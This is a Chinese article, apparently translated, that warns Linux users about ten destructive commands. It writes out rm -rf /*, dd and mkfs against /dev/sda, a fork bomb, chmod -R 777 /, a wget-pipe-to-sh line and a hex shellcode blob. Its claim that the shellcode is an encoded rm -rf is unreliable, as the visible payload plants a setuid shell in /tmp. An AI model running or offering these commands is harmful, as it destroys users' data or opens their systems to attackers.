許多人問我什麼是最危險的Linux指令。我一直避免回答這個問題,因為並沒有一個明確的危險Linux指令清單。 您擁有的工具可以讓您控制和修改作業系統的每一個面向。我並不是想嚇唬您,但如果您不熟悉這些命令和工具,您可能會輕鬆破壞您的系統。 想像一下家庭中小孩的狀況。孩子有很多方法可以傷害自己。但這是否意味著我們不應該讓孩子離開嬰兒床?這會阻礙她的成長。 這就是父母設定界線和引導孩子的重要性。不要靠近火源,不要把手指伸進電源插座…隨著孩子的成長和經驗的積累,她可以學會打開爐子,在壁爐裡生火,插上電源線。 同樣,如果你知道一些已知的風險命令,你可能會避免落入巨魔的陷阱,他們試圖欺騙你運行命令,擾亂你的系統。 當你累積了經驗,知道了這些命令和工具的含義和用法,用愚蠢和棘手的命令破壞你的系統的機會就會減少。 我的同事 Sreenath 收集了一些流行的危險 Linux 指令。讓我們看看它們是如何幹掉你的 Linux 系統的。 「 #免責警告:如果你不清楚你在做什麼,請勿嘗試本文提及的這些命令,否則後果自負。 」 #1、rm -rf /* 這個可能是在各種社交媒體上盤旋的最臭名昭著的命令。你會經常發現巨魔們在各種討論中提及這個。 rm 指令用來刪除檔案/目錄。標誌 -r 和 -f 表示遞歸地刪除指定目錄內的所有檔案。現在,如果沒有 root 權限,這個指令不會造成任何傷害。 執行 sudo rm -rf /🔗 itsfoss.com 指令也不會產生任何問題,因為大多數發行版提供了一個故障安全選項。你需要指定 --no-preserve-root 才能實際運行它。 sudo rm -rf / --no-preserve-root 然而,一個更簡單的版本可以是這樣的: sudo rm -rf /* 它將開始遞歸地刪除根目錄下的所有文件,在一段時間後,你的系統會凍結,並顯示「刪除文件錯誤」。一旦重新啟動,你將被送到 grub-rescue 提示符號下。 2、覆蓋你的分割區 如果你熟悉檔案系統,你可能知道 /dev/sda 是什麼。它(通常)是你的磁碟機分割區。 > 運算子用於將其前面的命令的輸出寫入所提供的指定位置。 一旦你執行任何指令並把它寫到 /dev/sda#,比如說: echo "Hello" > /dev/sda 這將用 Hello 字串替換你的包含啟動系統所需的所有資料的分割區。 3、把所有的東西都移到黑洞 每個 Linux 系統內都有一個黑洞。而這個黑洞就是 /dev/null。 無論你把東西丟進這個區域都會永遠失去。而且,它在丟棄資料後會將寫入過程報告為成功,這是其破壞性的主要原因。 mv /home/user/* /dev/null mv 命令🔗 linuxhandbook.com 用来移动或重命名文件/目录。在上面的命令中,你把家目录内的所有文件都移到了黑洞中。虽然根系统没有被破坏,但你所有的个人数据都会丢失。 4、格式化你的硬盘 mkfs🔗 linuxhandbook.com 是一个命令行工具,用于格式化磁盘和分区。它是一个超级方便的工具,可以为安装的操作系统创建分区。但同样的命令也可以格式化你的硬盘。格式化你的驱动器意味着删除系统启动所需的所有文件。 mkfs.ext3 /dev/sda 这个命令完成了它的工作,而你最终得到了一个无法恢复的混乱的系统。 5、fork 炸弹 这个看起来很可爱的特殊字符和符号的随机组合,足以通过耗尽系统资源来冻结一个正在运行的系统。 :(){ :|:& };: & – Shell 后台操作符。它通知 Shell 将命令放在后台。在这里,它定义了一个叫做 : 的函数,它调用自己两次,一次在前台,一次在后台。这个过程不断地重复执行,直到系统冻结。 顾名思义,它自己分叉,最终成为一个连锁炸弹,吃掉了所有的系统资源。你将被迫重启系统,这并不像本列表中的其他命令那样糟糕。 6、覆盖重要的配置文件 虽然这本身不是一个命令,但它更像是一个预防性的东西。 如上所述,> 操作符是用来向文件写入的。它丢弃文件中已经存在的东西,并将提供的新数据写入文件中。 command > config_filename 现在,如果你将一些重要的配置文件作为写数据的地方,它将被取代内容,留下一个损坏的系统。 7、用垃圾数据替换分区 /dev/random 是 Linux 中的一个命令,它可以创建垃圾数据。把它和 dd 命令🔗 linuxhandbook.com 以及你的分区结合起来,你就得到了一个可以让你的分区着火的燃烧弹。 dd if=/dev/random of=/dev/sda dd 命令被用作一个低级别的复制工具。这里,它从 /dev/random 中获取随机数据,并用这些垃圾替换 /dev/sda 分区。 一个类似的效果是通过以下方式获得的: cat /dev/urandom > filename 这里,它从 /dev/urandom(LCTT 译注:在 Linux 上,/dev/urandom 现在和 /dev/random 的等价的 )中获取垃圾数据并填入一个文件。如果不使用 Ctrl + C 终止,该文件会占据相当大的空间,这对低端系统来说可能是灾难性的。 8、将你的系统暴露给所有人 在 Linux 中,所有东西都是文件,每个 文件都有一定的权限🔗 linuxhandbook.com。 你可以用 ls -l 查看权限。根文件系统是不允许其他没有权限的用户访问的。虽然这保证了系统的私密性和安全性,但你可以用一个命令颠覆这个系统。 chmod -R 777 / 上述命令将根分区上的所有文件暴露给所有人。这意味着每个使用该系统的人都有读、写和执行的权限。这对你的系统是不利的。 9、下载并运行恶意的内容 你如何在 Linux 中安装软件?你可以使用官方的软件包管理器或随时可以使用的软件包,如 Deb/RPM、Snap、Flatpak 等。 然而,有些软件是没有打包的,它们的开发者提供了下载和运行的 Shell 脚本。以 Homebrew🔗 itsfoss.com 为例: 你下载一个 Shell 文件,然后以 root 身份运行它,在你的系统中安装一个软件。你看出问题了吗? 虽然它对 Homebrew 这样的官方软件有效,但在你像下面这样直接运行它之前,你应该仔细检查你所下载的 Shell 脚本的内容: wget http://malicious_source -O- | sh 这样的命令会在你的系统中下载并运行恶意脚本,这可能会破坏你的系统的安全性。 10、伪装的命令 在 Linux 终端中,有许多方法可以运行命令。其中一种方式是十六进制编码的命令: char esp[] __attribute__ ((section(“.text”))) /* e.s.prelease */= “\xeb\x3e\x5b\x31 \xc0\x50\x54\x5a\x83\xec\x64\x68”“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99” “\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7” “\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56” “\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31” “\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69”“\x6e\x2f\x73\x68\x00\x2d\x63\x00”“cp - p /bin/sh /tmp/.beyond; chmod 4755/tmp/.beyond;”; 虽然它看起来很花哨,但这是 rm -rf 命令的一个编码版本。它的效果与运行前面的命令相同。因此,在从互联网上复制和粘贴这些花哨的命令时,要小心谨慎。 总结 pebkac 有一个著名的计算机术语 PEBKAC:“问题存在于键盘和椅子之间(problem exists between keyboard and chair)”。 因为归根结底,还是要靠用户(你)来保证你不会因为盲目地运行任何危险的命令而破坏系统。 “ UNIX 的工作不是要阻止你搬起石头砸你自己的脚。如果你选择这样做,那么 UNIX 的工作就是以 它所知道的最有效的方式将石头砸到脚上。 ” 而这句话同样适用于 Linux。你可以完全控制你的操作系统。你选择做什么,完全取决于你。 我建议做这些事情以确保更安全的体验。 ◈ 尝试并理解你将要运行的命令。 ◈ 用 Timeshift 保持你的系统设置的备份 ◈ 用 DejaDup 保持个人数据(主目录)的备份 正如我所说,没有固定的危险 Linux 命令清单。还有很多可以添加到这个列表中,而且根本没有尽头。